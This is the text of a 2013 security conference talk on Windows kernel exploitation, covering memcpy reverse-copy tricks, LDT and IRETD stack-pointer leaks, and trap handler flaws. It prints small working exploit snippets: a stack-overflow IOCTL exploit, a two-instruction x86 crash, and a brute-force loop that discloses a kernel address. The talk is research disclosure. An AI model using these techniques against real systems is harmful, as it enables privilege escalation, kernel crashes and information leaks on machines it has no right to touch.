Abusing the Windows Kernel: How to Crash an Operating System With Two Instructions

Mateusz "j00ru" Jurczyk

NoSuchCon 2013

Paris, France

Introduction

Mateusz "j00ru" Jurczyk

- Information Security Engineer @ Google
- Extremely into Windows NT internals
- http://j00ru.vexillium.org/
- <u>@j00ru</u>

What

Attacks and tricks against local Windows kernel vulnerabilities.

What

- Fun with memory functions
 - \circ nt!memcpy (and the like) reverse copying order
 - ⊖ nt!memcmp double fetch
- More fun with virtual page settings
 - ⊖ PAGE_GUARD and kernel code execution flow
- Even more fun leaking kernel address space layout
 - SegSs, LDT_ENTRY.HighWord.Bits.Default_Big and IRETD
 - Windows 32-bit Trap Handlers
- The ultimate fun, crashing Windows and leaking bits
 nt!KiTrap0e in the lead role.

Why?



Why?

For teh lulz, mostly.

- Sandbox escapes are scary, blah blah (obvious by now).
- Even in 2013, Windows still fragile in certain areas.
 - mostly due to code dating back to 1993 :(
 - \circ you must know where to look for bugs.
- A set of amusing, semi-useful techniques / observations.
 subtle considerations really matter in ring-0.

Memory functions in Windows kernel

Moving data around

Assume you're a device driver developer. You want to capture a user-mode buffer.

What do you do?

Moving data around

lt's easy!

- Standard C library found in WDK
 - \circ nt!memcpy
 - o nt!memmove
- Kernel API
 - o nt!RtlCopyMemory
 - o nt!RtlMoveMemory

Overlapping memory regions

- Most prevalent corner case
- Handled correctly by memmove, Rt1MoveMemory
 - o guaranteed by standard / MSDN.
 - memcpy and RtlCopyMemory are often aliases to the above.

• Important:

Implemented by inverting the copying order.

The algorithm

void *memcpy(void *dst, const void *src, size_t num) if (overlap(dst, src, size)) { copy_backwards(dst, src, size); <</pre> } else { copy forward(dst, src, size); possibly useful } return dst;

}

Forward copy doesn't work



Backward copy works



Backward copy works



What's overlap()?

There are two variants.

Strict

bool overlap(void *dst, const void *src, size_t num) {
 return (src < dst && src + size > dst);
}

<u>Liberal</u>

bool overlap(void *dst, const void *src, size_t num) {
 return (src < dst);</pre>

}

What is used where and how?

There's a lot to test!

- Four functions (memcpy, memmove, RtlCopyMemory, RtlMoveMemory)
- Four systems (7 32-bit, 7 64-bit, 8 32-bit, 8 64-bit)
- Four configurations:
 - Drivers, no optimization (/0d /0i)
 - Drivers, speed optimization (/Ot)
 - Drivers, full optimization (/0xs)
 - The kernel image (ntoskrnl.exe or equivalent)

What is used where and how?

There are many differences

- memcpy happens to be inlined (rep movsd) sometimes.
 - other times, it's just an alias to memmove.
- o copy functions linked statically or imported from nt
- various levels of optimization
 - operand sizes (32 vs 64 bits)
 - unfolded loops
 - …
- different overlap() variants.
- Basically, you have to check it on a per-case basis.

What is used where and how?

Let's simplify.

(feel free to do more tests on your own or wait for follow-up on my blog).

- Only memcpy and memmove.
- Windows 8 Release Preview.
- WDK 7699.16385.1 for building drivers.

	memcpy 32	memcpy 64	memmove 32	memmove 64
Drivers, no optimization	not affected	not affected	strict	liberal
Drivers, speed optimization	strict	liberal	strict	liberal
Drivers, full optimization	not affected	liberal	strict	liberal
NT Kernel Image	strict	liberal	strict	liberal

So, sometimes...



instead of:



Right... so what???

Copy order doesn't matter for valid memory operations.

However, let's imagine for a moment that there are



in Windows kernel space.

The memcpy() related issues



information leak (usually).

Useful reverse order

- Assume size might not be adequate to allocations specified by src, dst or both.
- When the order makes a difference:
 - there's a race between completing the *copy* process and accessing the already overwritten bytes.

OR

- it is expected that the copy function does not successfully complete.
 - encounters a hole (invalid mapping) within src or dst.

Example condition

- 1. Pool-based buffer overflow.
- 2. size is a controlled multiplicity of 0x1000000.
- 3. user-controlled *src* contents.

Problem?

Enormous overflow size. Expecting 16MB of continuous pool memory is not reliable. The system will likely crash inside the memcpy() call.









- How to prevent that?

- Let's hijack control before the system goes down!

Formula to success:

- Spray the pool to put KAPC structures at a ~predictable offset from beginning of overwritten allocation.
 - KAPC contains kernel-mode pointers.
- Manipulate size so that dst + size points to the sprayed region.
- Trigger KAPC.KernelRoutine in a concurrent thread.











Timing-bound exploitation

- By pool spraying and manipulating size, we can reliably control what is overwritten first.
 - may prevent system crash due to access violation.
 - may prevent excessive pool corruption.
- Requires winning a race
 - trivial with $n \ge 2$ logical CPUs.
- Still difficult to recover from the scale of memory corruption, if pools are overwritten.
 - lots of cleaning up.
 - might be impossible to achieve transparently.

Exception handling

- In previous example, gaps in memory mappings were scary, had to be fought with timings
 - The NT kernel unconditionally crashes upon invalid ring-0 memory access.
- Invalid user-mode memory references are part of the design.
 - \circ gracefully handled and transferred to except(){} code blocks.
 - exceptions are expected to occur (for security reasons).
Exception handling

"ProbeForRead routine" at MSDN:

Drivers must call ProbeForRead inside a try/except block. If the routine raises an exception, the driver should complete the IRP with the appropriate error. **Note that subsequent accesses by the driver to the user-mode buffer must also be encapsulated within a try/except block:** a malicious application could have another thread deleting, substituting, or changing the protection of user address ranges at any time (even after or during a call to ProbeForRead or ProbeForWrite).

User-mode pointers

When a driver captures user-mode data with memcpy:

memcpy(dst, user-mode-pointer, size);

1. The liberal overlap() <u>always</u> returns true

- a. user-mode-src < kernel-mode-dst
- b. found in most 64-bit code.
- 2. Data from ring-3 is <u>always</u> copied from right to left
- 3. Not as easy to satisfy the strict overlap()

Controlling the operation

- If invalid ring-3 memory accesses are handled correctly...
 - \circ we can interrupt the memcpy() call at any point.
- This way, we control the number of bytes copied to "dst" before bailing out.
- By manipulating "size", we control the offset relative to the kernel buffer address.

Overall, ...

... we end up with a relative write-what-where condition.

i.e. we can write controlled bytes in the range:

< dst + size - src mapping size; dst + size >

for free, only penalty being bailed-out memcpy(). Nothing to care about.

Controlling offset

user-mode memory



Controlling offset

user-mode memory



Controlling offset

user-mode memory



Controlling size

user-mode memory



Controlling size





Now, imagine:

It's a stack!

user-mode memory



GS cookies evaded

- We just bypassed stack buffer overrun protection!
 - o similarly useful for pool corruption.
 - possible to overwrite specific fields of nt!_POOL_HEADER
 - also the content of adjacent allocations, without destroying pool structures.
 - works for every protection against continuous overflows.
- For predictable *dst*, this is a regular write-what-where
 - kernel stack addresses are not secret
 (NtQuerySystemInformation)
 - IRETD leaks (see later).

Stack buffer overflow example

This code is trivially exploitable:

```
NTSTATUS IoctlNeitherMethod(PVOID Buffer, ULONG BufferSize) {
   CHAR InternalBuffer[16];
```

```
__try {
    ProbeForRead(Buffer, BufferSize, sizeof(CHAR));
    memcpy(InternalBuffer, Buffer, BufferSize);
} except (EXCEPTION_EXECUTE_HANDLER) {
    return GetExceptionCode();
}
return STATUS SUCCESS;
```

}

Note: when built with WDK 7600.16385.1 for Windows 7 (x64 Free Build).

Stack buffer overflow example



The exploit

```
PUCHAR Buffer = VirtualAlloc(NULL, 16,
```

MEM_COMMIT | MEM_RESERVE,

```
PAGE_EXECUTE_READWRITE);
```

memset(Buffer, 'A', 16);

```
DeviceIoControl(hDevice, IOCTL_VULN_BUFFER_OVERFLOW,
&Buffer[-32], 48,
```

NULL, 0, &BytesReturned, NULL);

DEMO

About the NULL dereferences...

memcpy(dst, NULL, size); This might become exploitable:

- any address (dst) > NULL (src), passes liberal check.
- requires a sufficiently controlled size
 - "NULL + size" must be mapped user-mode memory.
- this is not a "tró" NULL Pointer Dereference anymore.

Other variants

That one was easy... but in general:

- Inlined memcpy() kills the technique.
- kernel \rightarrow kernel copy is tricky.
 - even "*dst* > *src*" requires serious control of chunks.
 - unless you're lucky.
- Strict checks are tricky, in general.
 - \circ must extensively control *size* for kernel \rightarrow kernel.
 - \circ even more so on user \rightarrow kernel.
 - \circ only observed in 32-bit systems.
- Tricky ≠ impossible

The takeaway

- **1**. user \rightarrow kernel copy on 64-bit Windows is usually trivially exploitable.
 - a. others can be more difficult, but ...
- 2. Don't easily give up on memcpy, memmove, RtlCopyMemory, RtlMoveMemory bugs
 - a. check the actual implementation and corruption conditions before assessing exploitability

Kernel address space information disclosure

Kernel memory layout is no secret

- Process Status API: EnumDeviceDrivers
- NtQuerySystemInformation
 - o SystemModuleInformation
 - o SystemHandleInformation
 - o SystemLockInformation
 - o SystemExtendedProcessInformation
- win32k.sys user/gdi handle table
- GDTR, IDTR, GDT entries

Still fun to find more.

Local Descriptor Table

- Windows supports setting up custom LDT entries
 - o used on a per-process basis
 - 32-bit only (x86-64 has limited segmentation support)
- Only code / data segments are allowed.
- The entries undergo thorough sanitization before reaching LDT.
 - Otherwise, user could install LDT_ENTRY.DPL=0 nad gain ring-0 code execution.

LDT – prior research

- In 2003, Derek Soeder that the "Expand Down" flag was not sanitized.
 - o base and limit were within boundaries.
 - o but their semantics were reversed
- User-specified selectors are not trusted in kernel mode.
 o especially in Vista+
- But Derek found a place where they did.
 - \circ write-what-where \rightarrow local EoP

Funny fields

Are there any more funny fields?

The "Big" flag



Different functions

D/B (default operation size/default stack pointer size and/or upper bound) flag

Performs different functions depending on whether the segment descriptor is an executable code segment, an expand-down data segment, or a stack segment. (This flag should always be set to 1 for 32-bit code and data segments and to 0 for 16-bit code and data segments.)

Executable code segment

- Indicates if 32-bit or 16-bit operands are assumed.
 - $_{\odot}$ "equivalent" of 66H and 67H per-instruction prefixes.
- Completely confuses debuggers.
 - $_{\odot}$ WinDbg has its own understanding of the "Big" flag
 - shows current instruction at cs:ip
 - Wraps "ip" around while single-stepping, which doesn't normally happen.
 - Changes program execution flow.



Stack segment

Stack segment (data segment pointed to by the SS register). The flag is called the B (big) flag and it specifies the size of the stack pointer used for implicit stack operations (such as pushes, pops, and calls). If the flag is set, a 32-bit stack pointer is used, which is stored in the 32-bit ESP register; if the flag is clear, a 16-bit stack pointer is used, which is stored in the 16-bit SP register. If the stack segment is set up to be an expand-down data segment (described in the next paragraph), the B flag also specifies the upper bound of the stack segment.

Kernel-to-user returns

 On each interrupt and system call return, system executes IRETD

 \circ pops and initializes cs, ss, eip, esp, eflags

Or that's what everyone thinks!

IRETD algorithm

IF stack segment is big (Big=1) THEN ESP ←tempESP ELSE SP ←tempSP FI;

Upper 16 bits of are not cleaned up.

• Portion of kernel stack pointer is disclosed.

Behavior not discussed in Intel / AMD manuals.

Don't get too excited!

The information is already available via information classes.

o and on 64-bit platforms, too.

Seems to be a cross-platform issue.
 o perhaps of more use on Linux, BSD, ...?
 o I haven't tested, you're welcome to do so.

DEMO

Trap handlers = more leaks.

Default traps

EXCEPTION AND INTERRUPT REFERENCE	
Interrupt 0—Divide Error Exception (#DE)	
Interrupt 1—Debug Exception (#DB)	
Interrupt 2—NMI Interrupt	
Interrupt 3—Breakpoint Exception (#BP)	5-31
Interrupt 4—Overflow Exception (#OF)	5-32
Interrupt 5—BOUND Range Exceeded Exception (#BR)	5-33
Interrupt 6—Invalid Opcode Exception (#UD)	5-34
Interrupt 7—Device Not Available Exception (#NM)	5-36
Interrupt 8—Double Fault Exception (#DF)	5-38
Interrupt 9—Coprocessor Segment Overrun	5-41
Interrupt 10—Invalid TSS Exception (#TS)	
Interrupt 11—Segment Not Present (#NP)	
Interrupt 12—Stack Fault Exception (#SS)	
Interrupt 13—General Protection Exception (#GP)	5-50
Interrupt 14—Page-Fault Exception (#PF)	5-54
Interrupt 16—x87 FPU Floating-Point Error (#MF)	5-58
Interrupt 17—Alignment Check Exception (#AC).	5-60
Interrupt 18—Machine-Check Exception (#MC)	5-62
Interrupt 19—SIMD Floating-Point Exception (#XM)	5-64
Interrupts 32 to 255—User Defined Interrupts	5-67
	EXCEPTION AND INTERRUPT REFERENCE Interrupt 0—Divide Error Exception (#DE) Interrupt 1—Debug Exception (#DB) Interrupt 2—NMI Interrupt Interrupt 3—Breakpoint Exception (#BP) Interrupt 4—Overflow Exception (#OF) Interrupt 5—BOUND Range Exceeded Exception (#BR) Interrupt 6—Invalid Opcode Exception (#UD) Interrupt 6—Invalid Opcode Exception (#UD) Interrupt 8—Double Fault Exception (#DF) Interrupt 9—Coprocessor Segment Overrun Interrupt 10—Invalid TSS Exception (#TS) Interrupt 11—Segment Not Present (#NP) Interrupt 13—General Protection Exception (#GP) Interrupt 14—Page-Fault Exception (#FF) Interrupt 16—x87 FPU Floating-Point Error (#MF) Interrupt 17—Alignment Check Exception (#AC) Interrupt 18—Machine-Check Exception (#XM) Interrupt 19—SIMD Floating-Point Erception (#XM)

Exception handling in Windows










Some handlers have special considerations for certain situations.

but they don't handle them correctly.

...

Trap Flag (EFLAGS_TF)

- Used for single *step debugger* functionality.
- Triggers Interrupt 1 (#DB, Debug Exception) after execution of the first instruction after the flag is set.
 - Before dispatching the next one.
- You can "step into" the kernel syscall handler:

pushf or dword [esp], 0x100 popf sysenter

Trap Flag (EFLAGS_TF)

- #DB is generated with KTRAP_FRAME.Eip=KiFastCallEntry and KTRAP_FRAME.SegCs=8 (kernel-mode)
- The 32-bit nt!KiTrap01 handler recognizes this:

 changes KTRAP_FRAME.Eip to nt!KiFastCallEntry2
 clears KTRAP_FRAME.EFlags_TF
 - \circ returns.
- KiFastCallEntry2 sets KTRAP_FRAME.EFlags_TF, so the next instruction after SYSENTER yields single step exception.

This is fine, but...

- KiTrap01 doesn't verify that previous SegCs=8 (exception originates from kernel-mode)
- It doesn't really distinguish those two:

	KiFastCallEntry address
pushf	pushf
or [esp], 0x100	or [esp], 0x100
popf	popf
sysenter	jmp 0x80403c86

(privilege switch vs. no privilege switch)









- User-mode exception handler receives report of an:
 - #PF (STATUS_ACCESS_VIOLATION) exception
 - o at address nt!KiFastCallEntry2
- Normally, we get a #DB (STATUS_SINGLE_STEP) at the address we jump to.
- We can use the discrepancy to discover the nt!KiFastCallEntry address.
 - o brute-force style.

Disclosure algorithm

for (addr = 0x8000000; addr < 0xfffffff; addr++) {
 set_tf_and_jump(addr);
 if (excp_record.Eip != addr) {
 // found nt!KiFastCallEntry
 break;
 }</pre>

DEMO

nt!KiTrap0E has similar problems

- Also handles special cases at magic Eips:
 - o nt!KiSystemServiceCopyArguments
 - o nt!KiSystemServiceAccessTeb
 - o nt!ExpInterlockedPopEntrySListFault
- For each of them, it similarly replaces KTRAP_FRAME.Eip and attempts to re-run code instead of delivering an exception to user-mode.

How to **#PF** at controlled Eip?

nt!KiTrap01

nt!KiTrap0E

pushf
or dword [esp], 0x100
popf
jmp 0x80403c86



Easy enough.

DEMO

So what's with the crashing Windows in two instructions?

nt!KiTrap0E is even dumber.

Full handling of nt!KiSystemServiceAccessTeb:

```
if (KTRAP_FRAME.Eip == KiSystemServiceAccessTeb) {
    PKTRAP_FRAME trap = KTRAP_FRAME.Ebp;
    if (trap->SegCs & 1) {
        KTRAP_FRAME.Eip = nt!kss61;
    }
}
```

Soo dumb...

- When the magic Eip is found, it trusts
 KTRAP_FRAME.Ebp to be a kernel stack pointer.
 - o dereferences it blindly.
 - \circ of course we can control it!
 - it's the user-mode Ebp register, after all.

Two-instruction Windows x86 crash

xor ebp, ebp jmp 0x8327d1b7

nt!KiSystemServiceAccessTeb

DEMO

Leaking actual data

- The bug is more than just a DoS
 - by observing kernel decisions made, based on the (trap->SegCs & 1) expression, we can infer its value.
 - i.e. we can read the least significant bit of any byte in kernel address space
 - as long as it's mapped (and resident), otherwise crash.

What to leak?

Quite a few options to choose from:

- **1.** just touch any kernel page (e.g. restore from pagefile).
- 2. reduce GS cookie entropy (leak a few bits).
- **3.** disclose PRNG seed bits.
- 4. scan though Page Table to get complete kernel address space layout.

5. ...

What to leak and how?

- Sometimes you can disclose more
 - \circ e.g. 25 out of 32 bits of initial dword value.
 - only if you can change (increment, decrement) the value to some extent.
 - o e.g. reference counters!
- I have a super interesting case study...

... but there's no way we have time at this point.

DEMO

Final words

- Trap handlers are generally quite robust now

 thanks Tavis, Julien for the review.
 just minor issues like the above remained.
- All of the above are still "0-day".
 The information disclosure is patched in June.
 Don't misuse the ideas ;-)
- Thanks to Dan Rosenberg for the "A Linux Memory Trick" blog post.

 \circ motivated the trap handler-related research.

Questions?



<u>@j00ru</u>

http://j00ru.vexillium.org/

j00ru.vx@gmail.com